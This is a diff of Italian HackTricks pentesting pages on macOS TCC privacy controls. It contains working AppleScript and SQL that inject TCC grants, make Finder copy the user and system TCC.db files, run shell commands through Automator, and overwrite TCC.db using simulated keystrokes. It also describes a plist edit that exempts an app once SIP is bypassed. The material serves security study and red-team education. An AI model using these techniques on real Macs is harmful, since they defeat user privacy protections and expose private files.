Le app di Apple **non genereranno prompt**. Contengono **diritti preconcessi** nel loro elenco di **autorizzazioni**, il che significa che **non genereranno mai un popup**, **né** compariranno in nessuno dei **database TCC.** Ad esempio:
|
||||
Tuttavia, per le app che devono **accedere** a **determinate cartelle dell'utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, non è necessario avere autorizzazioni specifiche. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** quando necessario.
|
||||
|
||||
Le app di Apple **non genereranno prompt**. Contengono **diritti preconcessi** nel loro elenco di **autorizzazioni**, il che significa che **non genereranno mai un popup**, **né** compariranno in nessuno dei **database TCC**. Ad esempio:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -256,11 +244,10 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
Questo eviterà a Calendar di chiedere all'utente di accedere ai promemoria, al calendario e alla rubrica.
|
||||
|
||||
{% hint style="success" %}
|
||||
Oltre a alcune documentazioni ufficiali sugli entitlement, è anche possibile trovare **informazioni interessanti sugli entitlement** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
Oltre a alcune documentazioni ufficiali sugli entitlements, è anche possibile trovare **informazioni interessanti sugli entitlements** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
{% endhint %}
|
||||
|
||||
Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Non esiste un elenco pubblico che definisca tutti loro, ma puoi controllare questa [**lista di quelli conosciuti**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
@ -273,8 +260,7 @@ Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServi
|
|||
|
||||
### Intento dell'utente / com.apple.macl
|
||||
|
||||
Come già menzionato, è possibile **concedere l'accesso a un'app a un file trascinandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso del file**. Questo attributo **memorizzerà l'UUID** dell'app consentita:
|
||||
|
||||
Come già menzionato, è possibile **concedere l'accesso a un'app a un file trascinandolo e rilasciandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso del file**. Questo attributo **memorizzerà l'UUID** dell'app consentita:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -289,11 +275,10 @@ Filename,Header,App UUID
|
|||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
È curioso che l'attributo **`com.apple.macl`** sia gestito dal **Sandbox**, non da tccd.
|
||||
È curioso che l'attributo **`com.apple.macl`** sia gestito da **Sandbox**, non da tccd.
|
||||
|
||||
Nota anche che se sposti un file che consente l'UUID di un'app sul tuo computer a un computer diverso, poiché la stessa app avrà UID diversi, non concederà accesso a quell'app.
|
||||
Nota anche che se sposti un file che consente l'UUID di un'app sul tuo computer a un computer diverso, poiché la stessa app avrà UID diversi, non concederà l'accesso a quell'app.
|
||||
{% endhint %}
|
||||
|
||||
L'attributo esteso `com.apple.macl` **non può essere cancellato** come gli altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **comprimendo** il file, **eliminandolo** e **decomprimendolo**.
|
||||
|
@ -307,26 +292,70 @@ Se in qualche momento riesci ad ottenere accesso in scrittura su un database TCC
|
|||
<details>
|
||||
|
||||
<summary>Esempio di inserimento in TCC</summary>
|
||||
|
||||
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
|
||||
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
client,
|
||||
client_type,
|
||||
auth_value,
|
||||
auth_reason,
|
||||
auth_version,
|
||||
csreq,
|
||||
policy_id,
|
||||
indirect_object_identifier_type,
|
||||
indirect_object_identifier,
|
||||
indirect_object_code_identity,
|
||||
flags,
|
||||
last_modified,
|
||||
pid,
|
||||
pid_version,
|
||||
boot_uuid,
|
||||
last_reminded
|
||||
) VALUES (
|
||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
||||
'com.googlecode.iterm2', -- client
|
||||
0, -- client_type (0 - bundle id)
|
||||
2, -- auth_value (2 - allowed)
|
||||
3, -- auth_reason (3 - "User Set")
|
||||
1, -- auth_version (always 1)
|
||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
||||
NULL, -- policy_id
|
||||
NULL, -- indirect_object_identifier_type
|
||||
'UNUSED', -- indirect_object_identifier - default value
|
||||
NULL, -- indirect_object_code_identity
|
||||
0, -- flags
|
||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
||||
NULL, -- assuming pid is an integer and optional
|
||||
NULL, -- assuming pid_version is an integer and optional
|
||||
'UNUSED', -- default value for boot_uuid
|
||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
);
|
||||
```
|
||||
</details>
|
||||
|
||||
### Carichi TCC
|
||||
### Payload TCC
|
||||
|
||||
Se sei riuscito ad entrare in un'app con alcuni controlli di permessi TCC, controlla la seguente pagina con i carichi utili TCC per abusarne:
|
||||
Se sei riuscito ad entrare in un'app con alcuni controlli di autorizzazione TCC, controlla la seguente pagina con payload TCC per abusarne:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Eventi Apple
|
||||
|
||||
Scopri di più sugli Eventi Apple in:
|
||||
|
||||
{% content-ref url="macos-apple-events.md" %}
|
||||
[macos-apple-events.md](macos-apple-events.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Automazione (Finder) verso FDA\*
|
||||
|
||||
Il nome TCC del permesso di Automazione è: **`kTCCServiceAppleEvents`**\
|
||||
Questo specifico permesso TCC indica anche l'**applicazione che può essere gestita** all'interno del database TCC (quindi i permessi non consentono di gestire tutto).
|
||||
Il nome TCC dell'autorizzazione Automazione è: **`kTCCServiceAppleEvents`**\
|
||||
Questa specifica autorizzazione TCC indica anche l'**applicazione che può essere gestita** all'interno del database TCC (quindi le autorizzazioni non consentono di gestire tutto).
|
||||
|
||||
**Finder** è un'applicazione che **ha sempre FDA** (anche se non compare nell'interfaccia utente), quindi se hai privilegi di **Automazione** su di essa, puoi abusare dei suoi privilegi per **farla eseguire alcune azioni**.\
|
||||
In questo caso, la tua app avrebbe bisogno del permesso **`kTCCServiceAppleEvents`** su **`com.apple.Finder`**.
|
||||
In questo caso, la tua app avrebbe bisogno dell'autorizzazione **`kTCCServiceAppleEvents`** su **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Rubare il database TCC degli utenti" %}
|
||||
|
@ -343,7 +372,7 @@ EOD
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Rubare il database TCC dei sistemi" %}
|
||||
{% tab title="Rubare TCC.db di sistemi" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
|
@ -359,30 +388,41 @@ EOD
|
|||
Potresti abusare di questo per **creare il tuo database utente TCC**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle restritte da TCC** e darti i file, ma a quanto ne so **non sarai in grado di fare in modo che Finder esegua codice arbitrario** per abusare appieno del suo accesso FDA.
|
||||
Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle restritte da TCC** e darti i file, ma a quanto ne so **non sarai in grado di fare eseguire codice arbitrario a Finder** per abusare completamente del suo accesso FDA.
|
||||
|
||||
Pertanto, non sarai in grado di abusare delle abilità complete di FDA.
|
||||
Pertanto, non sarai in grado di abusare delle piena abilità di FDA.
|
||||
{% endhint %}
|
||||
|
||||
Questa è la finestra di dialogo TCC per ottenere i privilegi di Automazione su Finder:
|
||||
Questa è la richiesta TCC per ottenere i privilegi di Automazione su Finder:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (24).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che poiché l'applicazione **Automator** ha il permesso TCC **`kTCCServiceAppleEvents`**, può **controllare qualsiasi app**, come Finder. Quindi, avendo il permesso di controllare Automator, potresti controllare anche il **Finder** con un codice come quello di seguito:
|
||||
Nota che poiché l'applicazione **Automator** ha il permesso TCC **`kTCCServiceAppleEvents`**, può **controllare qualsiasi app**, come Finder. Quindi, avendo il permesso di controllare Automator, potresti controllare anche il **Finder** con un codice simile a quello di seguito:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni una shell all'interno di Automator</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
||||
\`\`\`applescript osascript<
|
||||
|
||||
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
|
||||
|
||||
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
|
||||
````
|
||||
tell application "Automator"
|
||||
set actionID to Automator action id "com.apple.RunShellScript"
|
||||
tell (make new workflow)
|
||||
add actionID to it
|
||||
tell last Automator action
|
||||
set value of setting "inputMethod" to 1
|
||||
set value of setting "COMMAND_STRING" to theScript
|
||||
end tell
|
||||
execute it
|
||||
end tell
|
||||
activate
|
||||
end tell
|
||||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
</details>
|
||||
|
||||
Lo stesso accade con l'app **Script Editor,** può controllare Finder, ma utilizzando un AppleScript non è possibile forzarlo ad eseguire uno script.
|
||||
|
@ -430,14 +470,12 @@ EOD
|
|||
# File operations in the folder should trigger the Folder Action
|
||||
touch "$HOME/Desktop/file"
|
||||
rm "$HOME/Desktop/file"
|
||||
````
|
||||
```
|
||||
### Automazione (SE) + Accessibilità (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** per FDA\*
|
||||
|
||||
#### Automazione (SE) + Accessibilità (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** per FDA\*
|
||||
|
||||
L'automazione su **`System Events`** + l'accessibilità (**`kTCCServicePostEvent`**) consentono di inviare **tasti premuti ai processi**. In questo modo potresti abusare di Finder per modificare il database TCC dell'utente o per concedere l'accesso completo ai dati a un'applicazione arbitraria (anche se potrebbe essere richiesta la password per questo).
|
||||
L'automazione su **`System Events`** + l'accessibilità (**`kTCCServicePostEvent`**) permette di inviare **tasti premuti ai processi**. In questo modo è possibile abusare di Finder per modificare il database TCC dell'utente o per concedere l'accesso completo ai dati a un'applicazione arbitraria (anche se potrebbe essere richiesta la password per questo).
|
||||
|
||||
Esempio di sovrascrittura di TCC.db degli utenti da parte di Finder:
|
||||
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -483,52 +521,46 @@ keystroke "v" using {command down}
|
|||
end tell
|
||||
EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` a FDA\*
|
||||
|
||||
#### `kTCCServiceAccessibility` a FDA\*
|
||||
Controlla questa pagina per alcuni [**payloads per abusare dei permessi di Accessibility**](macos-tcc-payloads.md#accessibility) per ottenere privilegi di FDA\* o eseguire ad esempio un keylogger.
|
||||
|
||||
Controlla questa pagina per alcuni [**payloads per abusare dei permessi di Accessibility**](macos-tcc-payloads.md#accessibility) per ottenere privilegi elevati a FDA\* o eseguire un keylogger, ad esempio.
|
||||
|
||||
#### **Client di Sicurezza dell'Endpoint a FDA**
|
||||
### **Client di Sicurezza dell'Endpoint a FDA**
|
||||
|
||||
Se hai **`kTCCServiceEndpointSecurityClient`**, hai FDA. Fine.
|
||||
|
||||
#### Policy di Sistema File SysAdmin a FDA
|
||||
### Policy di Sistema SysAdmin File a FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permette di **cambiare** l'attributo **`NFSHomeDirectory`** di un utente che cambia la sua cartella home e quindi permette di **bypassare TCC**.
|
||||
|
||||
#### User TCC DB a FDA
|
||||
### User TCC DB a FDA
|
||||
|
||||
Ottenendo **permessi di scrittura** sul **database TCC dell'utente** non puoi concederti i permessi **`FDA`**, solo quello che risiede nel database di sistema può concederli.
|
||||
|
||||
Ma puoi **concederti i diritti di Automazione a Finder**, e abusare della tecnica precedente per ottenere l'escalation a FDA\*.
|
||||
Ma puoi **concederti i diritti di Automazione a Finder**, e abusare della tecnica precedente per scalare a FDA\*.
|
||||
|
||||
#### **FDA a permessi TCC**
|
||||
### **FDA a permessi TCC**
|
||||
|
||||
L'Accesso Completo al Disco nel nome TCC è **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Non penso che questo sia un vero privilegio elevato, ma nel caso in cui lo trovi utile: se controlli un programma con FDA puoi **modificare il database TCC degli utenti e concederti qualsiasi accesso**. Questo può essere utile come tecnica di persistenza nel caso in cui potresti perdere i tuoi permessi FDA.
|
||||
Non penso che questo sia un vero privilegio, ma nel caso in cui lo trovi utile: se controlli un programma con FDA puoi **modificare il database TCC degli utenti e concederti qualsiasi accesso**. Questo può essere utile come tecnica di persistenza nel caso in cui potresti perdere i tuoi permessi FDA.
|
||||
|
||||
#### **SIP Bypass a TCC Bypass**
|
||||
### **SIP Bypass a TCC Bypass**
|
||||
|
||||
Il database di sistema TCC è protetto da **SIP**, ecco perché solo i processi con i **diritti indicati saranno in grado di modificarlo**. Pertanto, se un attaccante trova un **bypass SIP** su un **file** (essere in grado di modificare un file limitato da SIP), sarà in grado di:
|
||||
|
||||
* **Rimuovere la protezione** di un database TCC e concedersi tutti i permessi TCC. Potrebbe abusare di uno di questi file, ad esempio:
|
||||
* **Rimuovere la protezione** di un database TCC e concedersi tutti i permessi TCC. Potrebbe abusare di uno di questi file ad esempio:
|
||||
* Il database di sistema TCC
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Tuttavia, c'è un'altra opzione per abusare di questo **bypass SIP per bypassare TCC**, il file `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` è un elenco di applicazioni che richiedono un'eccezione TCC. Pertanto, se un attaccante può **rimuovere la protezione SIP** da questo file e aggiungere la **propria applicazione**, l'applicazione sarà in grado di bypassare TCC.\
|
||||
Per esempio per aggiungere il terminale:
|
||||
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -551,14 +583,29 @@ AllowApplicationsList.plist:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### Bypass di TCC
|
||||
|
||||
#### Bypass di TCC
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Riferimenti
|
||||
## Riferimenti
|
||||
|
||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
# macOS Eventi Apple
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Gli **Eventi Apple** sono una funzionalità di macOS di Apple che consente alle applicazioni di comunicare tra loro. Fanno parte del **Gestore Eventi Apple**, che è un componente del sistema operativo macOS responsabile della gestione della comunicazione tra processi. Questo sistema consente a un'applicazione di inviare un messaggio a un'altra applicazione per richiedere che esegua una particolare operazione, come aprire un file, recuperare dati o eseguire un comando.
|
||||
|
||||
Il demone mina è `/System/Library/CoreServices/appleeventsd` che registra il servizio `com.apple.coreservices.appleevents`.
|
||||
|
||||
Ogni applicazione che può ricevere eventi controllerà con questo demone fornendo la sua Porta Mach degli Eventi Apple. E quando un'applicazione vuole inviare un evento ad esso, l'applicazione richiederà questa porta al demone.
|
||||
|
||||
Le applicazioni con sandbox richiedono privilegi come `allow appleevent-send` e `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))` per poter inviare eventi. Notare che i diritti come `com.apple.security.temporary-exception.apple-events` potrebbero limitare chi ha accesso ad inviare eventi che richiederanno diritti come `com.apple.private.appleevents`.
|
||||
|
||||
{% hint style="success" %}
|
||||
È possibile utilizzare la variabile di ambiente **`AEDebugSends`** per registrare informazioni sul messaggio inviato:
|
||||
```bash
|
||||
AEDebugSends=1 osascript -e 'tell application "iTerm" to activate'
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
Loading…
Add table
Reference in a new issue